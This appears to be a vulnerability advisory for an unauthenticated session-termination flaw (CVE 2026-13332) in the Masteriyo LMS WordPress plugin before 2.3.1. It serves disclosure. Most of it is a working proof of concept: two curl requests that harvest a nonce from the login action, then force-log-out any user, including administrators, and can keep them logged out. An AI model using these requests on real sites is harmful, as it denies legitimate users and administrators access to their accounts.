Masteriyo LMS < 2.3.1 – Unauthenticated Arbitrary User Session Termination (Denial of Service) | CVE 2026-13332

Description

The plugin does not correctly verify authorization on an unauthenticated AJAX action used to clear user sessions, allowing unauthenticated attackers to terminate the active sessions (force-logout) of any user on the site, including administrators.

Proof of Concept

Prerequisites: enable "Limit Login Session" (Masteriyo > Settings > Authentication); a non-admin account (e.g. a self-registered student) exists.

1) Unauthenticated: harvest a valid masteriyo_clear_sessions nonce. It is returned in the masteriyo_login AJAX response when a known non-admin username hits the session limit (the password may be wrong; WordPress fires wp_authenticate_user before the password check). The masteriyo_login_nonce is read from the public login form.

curl -s -X POST 'https://TARGET/wp-admin/admin-ajax.php' \
  -d 'action=masteriyo_login' \
  -d '_wpnonce=LOGIN_NONCE_FROM_LOGIN_PAGE' \
  --data-urlencode 'username=KNOWN_NON_ADMIN_USERNAME' \
  --data-urlencode 'password=anything' \
  -d 'remember_me=no'
# -> response contains "_wpnonce":"CLEAR_SESSIONS_NONCE"

2) Unauthenticated: destroy all sessions of any user (e.g. administrator user_id=1). No cookies required.

curl -s -X POST 'https://TARGET/wp-admin/admin-ajax.php' \
  -d 'action=masteriyo_clear_sessions' \
  -d 'user_info[user_id]=1' \
  -d 'user_info[_wpnonce]=CLEAR_SESSIONS_NONCE'
# -> the target user's session tokens are destroyed; their active logins are forced to re-authenticate. Repeating the request keeps the victim logged out.